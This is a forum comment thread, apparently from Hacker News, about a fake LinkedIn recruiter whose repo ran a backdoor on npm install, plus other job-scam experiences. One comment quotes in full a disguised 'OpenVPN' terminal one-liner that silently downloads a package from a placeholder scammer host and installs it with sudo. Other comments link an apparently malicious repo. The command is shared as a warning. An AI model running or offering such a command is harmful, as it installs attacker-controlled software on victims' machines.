A backdoor in a LinkedIn job offer

https://roman.pt/posts/linkedin-backdoor/

by lwhsiao • 1 month ago

1614 290 1 month ago

Maybe Mac will finally get decent virtualization framework. Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

Remember to use protection when meeting random people, and putting their junk deep inside your computer!

rvz• 1 month ago

Or running random curl | bash scripts from GitHub, AUR, NPM are just as bad but many developers here still have dubious assumptions on this bad practice.

The last few weeks tell us how bad this is especially with all the mini-shai hulud's running around.

firefax3• 1 month ago

Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.

It's ok, the guy with glasses from the Daily Show said it's ok.

mschuster912• 1 month ago

Maybe Mac will finally get decent virtualization framework.

it already has, you can configure intellij to run npm commands in a Docker container.

CyanLite2• 1 month ago

Isn't this how most NPM authors are hacked these days? I think the axios guy got hit with the same approach over LinkedIn.

lysace• 1 month ago

Hoisted by their own petard vibes.

rektomatic• 1 month ago

I really want to know what would've happened with an npm install, I guess something boring like crypto mining or identity theft?

gman2093• 1 month ago

Arbitrary remote code execution, maybe sold to the highest bidder like some shady cloud provider?

imankulov• 1 month ago

You can actually test it yourself. The actual URL is in the post and the website is still up.

mfkp• 1 month ago

Seems like it actually loads a PNG image now, maybe the npm script adds some additional headers to trigger the payload.

flexagoon• 1 month ago

AFAIK most malware like this first sends the contents of your environment variables, ssh keys, passwords, etc. to the server, and then sets up a persistent process that executes arbitrary commands received from the attacker's server at any time, allowing them to run whatever else they want

TurdF3rguson• 1 month ago

This has happened to me, it was an attack that was trying to get crypto private keys (ethereum)

phyzome• 1 month ago

Compromise of developer's access, API keys, etc. in order to create a supply chain attack.

robotnikman2• 1 month ago

With how many desperate software engineers there are on the market right now looking for a job, there are going to be scumbags out there trying to take advantage of the desperation. Such people are the worst of the worst of humanity.

Stay vigilant out there everyone.

DFHippie• 1 month ago

Such people are the worst of the worst of humanity.

I don't know. There's a plentiful supply of bad humans.

robotnikman2• 1 month ago

Anyone who preys on people who are desperate and hurting are certainly some of the worst though.

jmward013• 1 month ago

So, this is a crime right? Why isn't there a well known '911' for cybercrime to report things like this to and get help? Society needs to catch up with the actual dangers out there and build support networks for this ASAP. This is organized crime and needs organized defense to deal with it.

calvinmorrison• 1 month ago

yes this is a crime.

mrhottakes• 1 month ago

Unfortunately most evil cybercriminals know the "one weird trick" of "do your crimes in countries that don't care about the crimes"

jmward013• 1 month ago

I see several comments like this implying nothing can be done. But that is far from the truth. First, an agency that actually answered the phone could coordinate directly with LinkedIn and other tech companies to quickly take down these fake accounts and minimize harm to others. We all know how incredibly hard it is to contact a tech company. Second, an agency that answers the phone could help less technical people find what may have been compromised and push people towards support services if needed. And finally, maybe, they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time.

Georgelemental• 1 month ago

Cut the cables

55555• 1 month ago

Something I've always wondered, because I'm a bit of a contrarian and I wonder if we're really any different: Could an American citizen hack and steal from Iranians and Russians with impunity from America? The issues that prevent the US from extraditing Russians who hack us -- don't they work both ways?

john_strinlai3• 1 month ago

the main issue is that we lack a global '911'.

secondary is the effort asymmetry between spinning up one of these scams (near 0 effort) and catching/prosecuting these scams (big effort, astronomical cost)

umpalumpaaa• 1 month ago

I don’t know but the us kidnaps ehhh arrests people on foreign land on a regular basis… and brings them to the US to stand trial. So if it’s “important” enough it will be aced upon…

Diti• 1 month ago

the main issue is that we lack a global '911'.

911 is for emergencies. I don’t think the global 911 service would give any attention to a LinkedIn scam.

pocksuppet4• 1 month ago

what about the outcome asymmetry between spinning up one of these scams (get one guy's computer) and getting caught (jail for life)

JumpCrisscross2• 1 month ago

main issue is that we lack a global '911'

406 MHz is pretty close [1]. If you have a radio that screams on that channel, chances are the nearest search-and-rescue operation will at least be notified.

[1] https://www.sarsat.noaa.gov/emergency-406-beacons/

eblume• 1 month ago

https://www.ic3.gov

You won't hear back from them, though. But, at least for US citizens (and possibly for anyone?), this is as far as I know the closest thing there is to an "Internet 911".

JumpCrisscross2• 1 month ago

You won't hear back from them

You might. (I have.) They were able to get a wire sent to a fraudster reversed. (Not my wire.)

bityard• 1 month ago

To put it bluntly and perhaps a bit cynically, on the tree of bad things that people do to other people, this is pretty high-hanging fruit. Right up there next to scam phone calls that prey on the elderly while claiming to be from Microsoft support.

It's basically impossible to catch suspects because they are either smart enough to cover their tracks very well, or (more often) live in countries whose governments don't care about their citizens (even pay them for) scamming westerners.

Barbing• 1 month ago

Saw Microsoft has a dedicated scam reporting page - guess it was damaging their brand https://reportfraud.microsoft.com/en-us

Wonder if they’re effective in going after reports. I’d still report to IC3/FBI/powers that be, too. Just in case someone somewhere has the resources to do something… perhaps a high hope

Xirdus3• 1 month ago

Hard disagree on the scam phone calls. It would be trivial to eradicate them almost completely if the phone operators did the bare minimum to fight against it. At any point in time, any given US phone number is handled by exactly one phone carrier. There is nothing stopping that carrier from requiring name and address to issue that phone number. They already do for 99.99% of their legitimate customers. It would be very easy to make it so that every single phone call originating from the US, including all VOIP calls made with US phone numbers, can be traced back to a specific business or person that can later be sued or prosecuted.

And no, number spoofing isn't an excuse either. We literally solved the much harder problem of email spoofing already. There are, what, 3 carrier networks in all of US? And they cannot do with each other what DMARC did for the hundreds of thousands disjoint organizations that comprise the internet? Please.

codedokode• 1 month ago

I always wondered why US cannot pressure India to crack down on those scammers? They use phone network, it should not be difficult to find them. Some youtubers even hack into their computers and extract all the info. US probably has a leverage here, they could simply ban Indian companies from working with US if they don't cooperate.

US was so angry about "unfair" tariffs why are they not angry about criminals stealing from Americans?

pluc• 1 month ago

Have you seen the state of *gestures at everything*

stefan_• 1 month ago

You mean organized crime like NSO Group? Sorry, governments all over the world are too busy using them to spy on opposition to care.

throwaway858253• 1 month ago

The scammers are in a different whole uncooperative country.

cute_boi• 1 month ago

Or they may be in this country, but uses proxies, virtual machines, hostings from uncooperative country.

deejaaymac• 1 month ago

Cool let's hear your solution, you seem well versed on how infosec works.

cluckindan• 1 month ago

Yes. But the perps are in North Korea.

edm0nd• 1 month ago

There is but the FBI is horrible at responding to cybercrime. They have IC3 but its basically useless. They arent going to help or even contact you if you report a crime to them.

PUSH_AX• 1 month ago

The amount of crime in the world -that requires arguably "low skill" time to resolve- that just gets filed away because of low resources is insane. How are forces going to stand up high skill task forces for these kinds of things?

berkes2• 1 month ago

In the Netherlands there's an official government agency that allows a simple mail or report: https://www.ncsc.nl/en/report-an-incident-to-ncsc-nl

I presume more countries have this, not sure about the US though (CISA maybe? CERT/CC?). CERT is the overarching org that manages local agencies like this Dutch NCSC. Though I am not sure if and how easy it is, globally, to report incidents.

tsss• 1 month ago

Try calling 911 for a real world crime and see what it gets you.

CalChris• 1 month ago

It’s odd that the operator of the scam knew full stack level details of its implementation. To me, it seems like they were targeting the author, perhaps as something like privilege escalation, identity escalation perhaps.

clemailacct12• 1 month ago

This is very likely Lazarus Group - specifically Famous Chollima aka the DPRK

srikanth862• 1 month ago

I was a victim of this attack on Friday. The interviewer had a russian / east European accent.

clemailacct12• 1 month ago

They use mules all the time

contingencies• 1 month ago

Thought: they may be targeting software developers on the assumption they may have legit credentials lying around from other employers or for public open source projects, or at a minimum some reputation to exploit towards obtaining commits to the same for supply chain attacks.

blharr• 1 month ago

Or, you know... money

dyingkneepad• 1 month ago

Ah, c'mon! You went all the way to find out the issue and write about it, and won't do the most interesting part which is to tell us what was the remote script that would end up running!?

wxw• 1 month ago

a recruiter at a small crypto startup [...] she described a broken proof-of-concept they needed a lead engineer for, and then sent me a public GitHub repo to review. Specifically, she asked me to “check out the deprecated Node modules issue.”
...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.
npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.
The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.

Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.

cyanydeez• 1 month ago

surprise is unwarranted as linkedin enshittifies. This type of thing is exactly what happens when neither the user of the service, nor the third party commercial interests are being served by the commercial enterprise. It's a vacuum that scams enter into.

bee_rider• 1 month ago

LinkedIn is unusually resistant to enshitification; it started that way.

gleenn2• 1 month ago

Friends don't let friends use NPM. At this point it is so wildly crazy watching people get owned, I don't understand how anyone uses it when they could use e.g. PNMPM and block one if the most obvious and frequently exploited holes. These tools with arbitrary code execution when trying to download some code have got to stop.

Edit: typos

winddude• 1 month ago

Friends don't let friends ise NPM

or linkedin

afpx• 1 month ago

Github / Microsoft could easily fix this, couldn't they? Leaving NPM up in its current state seems criminal, especially since LLMs generate NPM commands so frequently.

0x20cowboy• 1 month ago

I agree, but I’d extend that to any language using a package manager at this point. “A little copying is better than a little dependency” even more correct now.

All my current projects have all the code needed in the repo (unless impossible, and aside from a compiler which I guess could also be compromised)

nijave3• 1 month ago

These tools with arbitrary code execution when trying to download some code have got to stop

But you still end up with the code on your machine and risk it being ran.

Bigger issue is giant, inscrutible dependency trees.

In this example, if they tried to run the test suite or application, they'd have been in the same boat.

Afaik all or most languages have some way to run arbitrary code at install time but it seems node is the main one getting targeted. I think the bigger issue here is just people running untrusted things.

PennRobotics• 1 month ago

Thanks for the reminder. I installed npm yesterday to extract Electron app contents and forgot to remove it afterward.

burnte• 1 month ago

I haven't been phished like this but I've certainly had fraudsters try to con me into meetings or schemes, etc.

pants23• 1 month ago

LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

We've had fake recruiters that claim to work for us running basically the same scam. These are great fake profiles: LinkedIn Premium, tons of relevant posts, etc... but they don't work for us, and we get angry messages from people saying our recruiter tried to scam them. No, they're not our recruiter despite showing up on our company page on LinkedIn. No number of reports could get them taken down.

I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn, but not all startups have that connection!

tweetle_beetle• 1 month ago

LinkedIn didn't even disavow people pretending to work for LinkedIn until someone had too much fun with it - https://chrisduffycomedy.com/blog/2016/11/2/6-months-as-the-...

sensanaty2• 1 month ago

My last 2 companies, LinkedIn asked me to add an email address associated with the said company and actually confirm via said email in order to add them to my profile. So, if I worked for FooCompany, I had to have a @FooCompany.com email which is setup by someone at the company itself. Does this not cover what you're talking about?

underlipton• 1 month ago

I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn

I'd like people to understand that this is a form of corruption. We've normalized many like it. LI knows that the only way to force them to fix the issue is to go through a drawn-out legal process, save a spate of bad press (RIP 60 Minutes), so of course they won't.

throwaway7783• 1 month ago

LinkedIn doesn't have any redressal mechanisms for anything. Someone I knew went through a lot of abuse by a LI user and kept making new accounts to harass. LinkedIn's response - "We did not find anything that violates our ToC". No wonder it has become a cesspool of spam, fraud and abusers.

ChrisMarshallNY3• 1 month ago

LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

I remember getting an office manager, working from Dubai (I think), for my one-person, basically nonexistent company, working from my living room, in New York.

She may still be there. I never bother checking into LI, except making an occasional post, every few months.

cbm-vic-20• 1 month ago

I was looking for people who I had worked with at a company that was acquired 15 years ago, and some random person claims to be the CEO of that company.

prawn• 1 month ago

How does that not become a legal issue?

teiferer4• 1 month ago

got it solved by buying drinks for a buddy of mine that works for LinkedIn

That it requires you to buy your buddy a drink says it all. They should have taken the general issue to their higher ups, fixed it for you and then bought you a drink. Or dinner, on LinkedIn's dime.

dainank• 1 month ago

I know it is only a partial solution, but I saw with some companies that LinkedIn provides a way to verify a user works at such a company. This is done via sending an email to a company domain email address (supposedly yours that you provide), and then approving it from your work laptop. I guess the administrators of the company account on LinkedIn can determine which domains are allowed for this.

The only way this could be abused is if the administrator accounts on LinkedIn itself get hacked and temporarily other email domains are added to the whitelist (or if an approved user themselves got hacked on LinkedIn [or their work email for that matter]). These are all the usual vulnerabilities in any system.

I understand that it would be too extreme to only allow users to claim they worked at a company if this verification is done, but maybe putting a warning if you get a message from a recruiter/someone that has not verified they work at their 'present' company could go a long way (instead of right now tucking away the verified logo quietly on their profile page).

sph• 1 month ago

LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

I had the opposite problem: my company name was equivalent to the owner of an online casino. It took me a year to figure out that the enormous amount of spam I was getting about ‘guest post placement’, and people contacting me about deals was because Linkedin put me among the list of the casino employees. As I was Director of my company, I was the most valuable prey for business spam.

I fixed the problem by deleting my account, but now I’m in all the shittiest of spam lists for eternity. I don’t know how do they even harvest emails from Linkedin.

medwards666• 1 month ago

I had it several years ago when I was running my own one-man consultancy [ie: self-employed] ... somehow I'd managed to have six or seven people on LI claiming to work for the same company.

Reported them to LI and nothing was ever done about it. Eventually the accounts disappeared as I guess they were either shut down or repurposed.

dspillett• 1 month ago

LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.

It isn't at all a neat solution, but you could maintain a list of users on LinkedIn that are authorised to speak for your company, linked prominently on your profile with a warning that anyone else claiming to work for the company is likely a scammer but LinkedIn offers no way for you to stop them claiming to be part of your company.

If that became a common pattern it could highlight how much of a scammer paradise LI can be and maybe they'd be more likely to do something about that particular vector.

tliltocatl• 1 month ago

I wonder if a cease and desist to their legal department would work better?

monksy• 1 month ago

Yet they'll go after fun users that make paraody pages saying they worked at places during huge failures. I.e. Dan Woods. (he's the guy that said he worked at aws for a month and then us-east1 went down, etc)

mhitza• 1 month ago

Things like this where a tried and tested method on Upwork, particularly in the 2021-2022 crypto/nft highs. At some point they branched out from crypto projects and cast a wide net across different categories.

Last I recall was a download of a windows scr (screensaver masquerading) file.

Linkedin is a new low, and I'm sure the platform doesn't really care (look, more jobs), just as ad network companies (Google, Meta) don't really care about scam ads.

democracy• 1 month ago

I reported a fake costco website ad (cc harvester) to Google, their response was something along "we cannot verify the ad", go figure

firefax3• 1 month ago

I've had people phish for my email then hit that with some bullshitpowershellladendoucument.pdf.docx crap, but sending it directly in the IM?

Bold strategy cotton, let's see if it pays off.

citizenpaul• 1 month ago

I'm not. I call it identitythiefresourcecenter.com or its shorter name freecriminalresource.com

I hate how normalized it became for "HR" to require you having a LI page for a job. I don't think its as bad now but for a while it was essentially not possible to get a job without putting all your personal info on linkedin.

quietsegfault• 1 month ago

I recently went through an interview—o-thon and got a couple obvious scammers. I hope it’s because it’s more prevalent, and not because I seem stupid enough to fall for it!

coip• 1 month ago

It’s been this bad for a little while, iirc have seen a few of these pop up over the last few years. And that’s just for the few someone’s caught/documented

zkmon• 1 month ago

I stay away anything that needs npm. I regularly scan for node-modules folders and rm -rf it.

DonHopkins• 1 month ago

a recruiter at a small crypto startup

That's all you need to know they're criminals and frauds.

Grimburger2• 1 month ago

I've been freelancing for over a decade. This stuff is every third crypto related job. They're all malware repos running scripts the moment you turn on vscode hoovering up everything they can on your computer.

It's the least surprising thing once you've put yourself out there, very strange watching people here think it's novel, I expect it by default at this point, a stranger handing you code needs to go into a vm, would you let them hand you some candy with a wink too?

red-iron-pine• 1 month ago

while working at a Fortune 500 MNC, gig before this one, I used to get LinkedIn hits from recruiters.

never got serious ones before, the occasional, useless headhunters who are clearly not based in the same country, but these were different. They were big companies in Canada, ones I'd definitely heard of and even applied to in the past. They were direct, were recruiters for those companies themselves, and were plugged in, able to answer questions, and engaging.

they constantly sent job ads, but only via .pdf files. I even pushed back on one and said I don't open random pdfs, send me a link and they declined. Same recruiter hit me up for a similar role a month later, also via pdf.

Multiple other members of the IT org, esp. the security and infra teams, also reported similar, aggressive recruitment efforts with pdfs. This was around 2020-2021.

mattcasmith• 1 month ago

I’ve seen a few of these – malicious repos to clone, fake call links that prompt for “driver” downloads, and so on.

The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.

atum47• 1 month ago

I've been getting some job offers on LinkedIn, all of them are shady af. Apply using a platform. Apply recording a video of yourself. Apply by resolving a calibration code test (behind a code platform)...

annzabelle• 1 month ago

My brother had been unemployed for a long time due to illness, and finally got a "job offer" on LinkedIn that seemed legit to him. They asked for him to write a check to make a deposit for his company laptop (which seems pretty insane on the face of it), but he was desperate and really happy to finally have a job offer.

People who've been unemployed for a long time are often desperate enough to overlook serious red flags that would never catch someone with substantial savings or who's employed and looking to job hop.

NoMoreNicksLeft• 1 month ago

A long time ago, I worked for an ISP that sent out the famous "we'll never ask for your passwords" email. Then, about 3 weeks in, they sent out emails asking people for their passwords. If you told me that this was a happy ending, he sent in a check and they sent a laptop and after 2 paychecks released his deposit, I wouldn't be shocked. Some companies are run by idiots. I even know that most companies could probably cover scammed hardware with business insurance, but then I wonder how many flying-by-the-seat-of-their-pants outfits don't have the insurance.

Hoping he wasn't scammed.

paradox4602• 1 month ago

My favorite was a job posting through a company called ladders

Saw it in the soup of other job posting, went to apply, it took me to some other job portal, ok whatever, this is normal, filled out all the forms as one does, and then reached the end and the site told me they'd submitted my application, and here were some other jobs I could apply to with the same application. Useful, right?

Click any of them, or anywhere else on the page, and a full screen modal takeover comes up, demanding you pay $50/application.

I closed the tab, but watched the email they sent me from the first job app. It went nowhere. Eventually applied to the company directly, on their job portal, and when I got to a real recruiter later, they said they never received my first app. My guess is ladders never even sent it and wouldn't until I paid up

Best part was ladders continued to spam my email inbox with job application invitations, each one wanting the same $50, until I blocked the fastmail throw away

I also had a "recruiter" reach out to me about a "role I'd be a good fit in". Made the meeting, and immediately some red flags. Audio and video were about 2 seconds out of sync. Guy then proceeded to try and pitch me on a similar job board, with the same $50/application cost, only this one had a 10 weeks salary cost on placement as well

I told him I wasn't interested.

Maybe these are just more traditional scams or whatever, not the malware type the op is about, but they still piss me off

yieldcrv• 1 month ago

now imagine if you were like the rest of us and didn’t write a blog post about it

avgDev• 1 month ago

More reasons for me to dislike linked-in. I have an account. I hate it.

l0new0lf-G• 1 month ago

Yet another reason to be reluctant to even discuss linkedin job offers

Yhippa• 1 month ago

but on a more tired or rushed day

This has nearly gotten me before, and I got lucky.

Raed667• 1 month ago

They seem to using the same domain for multiple targets: reddit thread from 3 months ago:

https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...

BobAliceInATree• 1 month ago

I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Oh, Microsoft.

INTPenis• 1 month ago

They should have reported it for DMCA violation. It would be gone instantly.

andy99• 1 month ago

I once saw an ad on LinkedIn made up to look like the CBC (Canadian news) linking to a fake video of the Canadian prime minister announcing a crypto investment plan for all Canadians, with a link to sign up. I reported the ad to LinkedIn and shortly after got a reply telling me they investigated and didn’t find any violation of their policies.

Waterluvian• 1 month ago

I’ve seen this fake Carney garbage on YouTube. Money speaks louder than truth.

mDyJzDPmBdG2• 1 month ago

they investigated and didn’t find any violation of their policies.

When my YT Premium elapsed 70% od ads YT decided to show me were deepfake investment scams (of terrible quality), and Google also didn't find them to violate any of their policy. The remaining 30% were strait up foreign state-level propaganda, those I didn't even bother to report.

0xpgm• 1 month ago

Weird, isn't it? Microsoft owns all of LinkedIn, Github and NPM.

All three either have security or stability issues, which seems to get worse, not better, as microsoft goes more into AI. Where is the AI productivity (10x by some accounts!) within the company going to?

paradox4602• 1 month ago

Keep in mind this is the company that makes Windows, a product so insecure they lost a lawsuit over it

john-state-moz• 1 month ago

Same story for me. I gave them the repo link and messages. Nothing 2 weeks later. Now I just block them and even then, you can't select a proper reason (there's no "other" field for a block), so I just say they're impersonating someone and leave it at that. We cannot let this become the primary site for job postings.

dolebirchwood• 1 month ago

As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).

They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):

```

( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]

```

Yeah, no. Be careful out there.

By the way, here's the scammer's "company website": https://jtwllc.com/

Superficially looks legit until you start investigating the finer details.

srikanth862• 1 month ago

Oh my goodness! I had this playout as is on Friday. I luckily got on the zoom call 20 mins late. Found it weird that the interviewer was pushy and wanted me to download and run an npm repo. I got out of the call quickly.

zuzululu3• 1 month ago

I'm working 3 remote jobs right now and I can tell you guys to really watch out.

Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.

They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.

I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:

- Don't stay loyal to your employers.

- Don't stay honest to those don't value it.

- Don't stay complacent always innovate.

worik• 1 month ago

Don't stay honest to those don't value it.

IMO you are either honest or you are not

zuzululu3• 1 month ago

If you are honest with people who don't want to hear the truth, you are going to be dishonest with people when they want the truth.

binsquare• 1 month ago

Would highly recommend running any repo in an isolated environment like a vm

f055• 1 month ago

I used to get 2-3 shady crypto offers per week on LinkedIn. It stopped when I started replying with AI generated responses demanding multiple verification steps: official email, official offer link, terms and scope etc. And a note with a firm refusal to run any code or install any package on my machine for "recruitment tasks".

khernandezrt• 1 month ago

It would have been game over for me.

stainablesteel• 1 month ago

the entire internet is just phishing at this point

aykutseker• 1 month ago

This is uncomfortably close to a normal interview task now.

Someone sends you a repo, says the install is broken, and asks you to take a look.

A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.

suyavuz• 1 month ago

The interview context makes it worse. You’re trying not to look slow, so you skip the part where you ask whether you should run it at all.

munificent• 1 month ago

At least now there is a blog post that you can link to and say "Sorry, but I don't run npm install locally because of the risk of phishing attacks."

bitfilped2• 1 month ago

A skilled employee would never skip that step, why should you do so in an interview context? Skipping that step seems like a task failure to me just as much as any other part of the question from an interviewer perspective. Maybe I shouldn't hire the guy that blindly runs code just because someone "senior" to them asks.

joebuckwilliams• 1 month ago

hajdjqkekrqow• 1 month ago

Something similar happened to a friend, repo https://github.com/momonity/cryptoskope/

LooseMarmoset2• 1 month ago

Were I still on Linkedin, I could totally have been caught by this. Thank you for this post, and the technical breakdown.

The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.

elwebmaster• 1 month ago

Why is npm still not blocked by every OS on earth is beyond me. These guys will never learn.

PufPufPuf• 1 month ago

Nothing to do with nom itself. This sort of scam would have worked with many different technologies, even a Makefile.

Joel_Mckay4• 1 month ago

Cat related technology like noms and toe beans are immune to this exploit. =3

mock-possum• 1 month ago

Because uh every OS on earth has the exact same vulnerabilities? How are you supposed to stop a user from downloading something random from the internet and running it?

Joel_Mckay4• 1 month ago

Some posix like systems mount /home with noexec in fstab.

Practically, most systems leave it off because many out-of-band user space script language package ecosystems stop working. =3

There are also adaptive application firewalls that are user friendly.

https://github.com/evilsocket/opensnitch

Joel_Mckay4• 1 month ago

npm is hard to avoid, as other ecosystems have integrated it as a cross-platform build/installer script bootstrap.

Indeed, all things nodejs are usually a dumpster fire at a hair salon, but the real point here was people always inherit whatever the previous cheapest labor built at that office. Also, usually people don't get to make architectural decisions for a long time. =3

gitaarik• 1 month ago

How does npm differ from any other package manager in that sense?

OrangeMusic• 1 month ago

They typically don't execute arbitrary code when setting up the project.

bodash• 1 month ago

fyi npm 12 will have securer defaults https://github.blog/changelog/2026-06-09-upcoming-breaking-c... but it will be a while for ecosystem to catch up and npm reputation already damaged

h4kunamata• 1 month ago

Honestly, I would have given up before starting. You spend time and effort on these cases only for the company to say "Unfortunately..."

alexandra_au• 1 month ago

I feel like there's only going to be more attempts like this, given the state of how many recently made redundant software engineers out there, and the level of desperation to find a job.

rektlessness• 1 month ago

It’s just so heartwarming to see we are completely indentured to both LinkedIn and GitHub, and forced to curate fake personas and upload our life's work just to secure a paycheck.

Yes, throwaway VPS for interview coding tasks should be the new norm.

xvxvx• 1 month ago

I only use LinkedIn for the job postings but they’ve become flooded with nonsense the past few months. Lots of postings from Ladders, Swooped, and various companies like those. I think I’m about to ditch LinkedIn permanently.

ChrisMarshallNY3• 1 month ago

So far nothing has changed and the code is still up.

That sucks, but it seems to be par for the course, these days.

blindriver• 1 month ago

LinkedIn is a cesspool of scams now.

They know there's a high degree of fraud and they don't do anything about it. They don't care.

I've gotten tricked into sending my resume and talking on the phone with legitimate looking recruiters from Google, Netflix, Meta, OpenAI, Anthropic, etc, but LinkedIn does nothing about it.

jimt1234• 1 month ago

It's become Facebook, too. I constantly see posts about the MAGA issue of the day.

nubinetwork• 1 month ago

I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Github is really slow when it comes to malicious repos. You'll probably get an email randomly six months from now when they finally see it.

denysvitali• 1 month ago

I had a similar experience, just by email.

https://blog.denv.it/posts/i-was-likely-targeted-by-dprk-in-...

It was likely DPKR.

dantodor• 1 month ago

Been through this 3 times in the last 6 months. They're getting better. Very credible LI profiles, code looks OK if you only take a glance... The bell start ringing when they insist you to run locally their sh*t

blablabla123• 1 month ago

Similar for me. One was for an overly very well paid position. I always run (p)npm audit before running npm repos, so lots of issues were found. I tried to fix them but I would have gone over the time limit. So I asked the recruiter about it and if it makes sense to run it in an isolated VM. No answer...

The other was for a DevEx crypto service. While I was very suspicious the code looked okay but the recruiter was strange and changed their profile to a different person eventually. I think this was a crypto stealing scam though since it required connecting to a wallet. I don't have any crypto though, so I might be okay for now. Although reinstalling my system clean would be the only sure way in theory...

vidarh5• 1 month ago

The big red flag should be giving github access before signing any contracts.

friendly_chap• 1 month ago

They mostly use public repositories though.

1dontnkow_3• 1 month ago

Yeah at least when you interview locally in your areas, you get to meet them before you get a random test assignment.

But also online, once or twice I received these Leetcode style sites to register and do a few tests before we meet, which was weird for me and I just ignored it.

One of them later asked "Why I didn't have time to do it yet" and I told them I first meet people and check the fit before I do tests, like who the hell does that differently?

Hope it hasn't become a way more common thing.

dataviz1000• 1 month ago

I don't have a LinkedIn profile.

~50% of jobs listed on who is hiring every month require a LinkedIn profile to submit a job application.

In order to find a job, one must bend the knee to LinkedIn first and subjugate themselves to the political (all sides) propaganda on the feed.

platevoltage• 1 month ago

I have a profile, but you couldn't pay me to look at the feed.

saaspirant• 1 month ago

I use a Firefox extension to block the feed

ekianjo• 1 month ago

Wait until the extension gets acquired by a third party and turns into malware

xboxnolifes• 1 month ago

What part of applying to LinkedIn jobs require you looking at the feed?

gyoridavid• 1 month ago

I wonder if an antivirus software would catch this..

NordStreamYacht• 1 month ago

"Recruiters" are getting sophisticated.

I spoke on the phone with "Singapore based recruiters" a couple of times who wanted my services as a consultant for "advanced applications for semiconductor devices."

Turns out they were just fishing for inside information on my employer's end customer's applications.

ncr100• 1 month ago

The US government should be involved in protecting the US fromthis kind of international crime and corporate espionage.

Just a thought, but no call to action from me.

abhisek• 1 month ago

Smells like contagious interview campaign by DPRK folks. They have been doing this for a while. Even using IDE settings, Claude hooks for malicious code execution.

bitfilped2• 1 month ago

Once again I'll state my opinion, don't use linkedin. It's a social media site not an employment/recruitment resource.

jhancock• 1 month ago

This type of attack has been happening a lot the past 2 years. I've seen one that was very well done...the GitHub account of a fairly well known security researcher had been compromised...their identity and code was being used as part of the recruitement. I reached out to the person...who was understandably embarrassed and told me they had reported this to LinkedIn + Github but saw no action.

This is the part that really irks me: LinkedIn and Github know this is the end goal of many of the rampant supply chain attacks but they a) don't have a first class mechanism for reporting b) don't seem to be improving their systems or even warning people. I have been hit be this enough times that I follow along to get screenshots of the scammer. One might think with all the surveillance systems Microsoft/LinkedIn/Github/Google-Meet/Calendly have in place that a potential victim reporting it along with an actual picture of the scammer could get us somewhere.

dd8601fn• 1 month ago

Call it a conspiracy theory, but I think a lot of these businesses actively avoid making serious efforts because even trying creates expectations. Ones that they don’t want to be on the hook for.

Like the Facebook problem. They were never in more trouble with people and legislators than when they were spending mountains of gold trying to police content.

It’s much easier to shrug and say, “Sorry folks, it’s the internet. Good luck.”

mujib77• 1 month ago

This is the first time i have heard of this type of scam so horrible like people need to be careful on both github and linkedin

lkjdsklf• 1 month ago

They’re quickly becoming the new sourceforge

psychoslave2• 1 month ago

I'm a simple man. I see crypto currency and I move away from what looks likely a social scam.

Sure, that might have been the one chance in a life time to easy big money. Or just a path to financial big troubles.

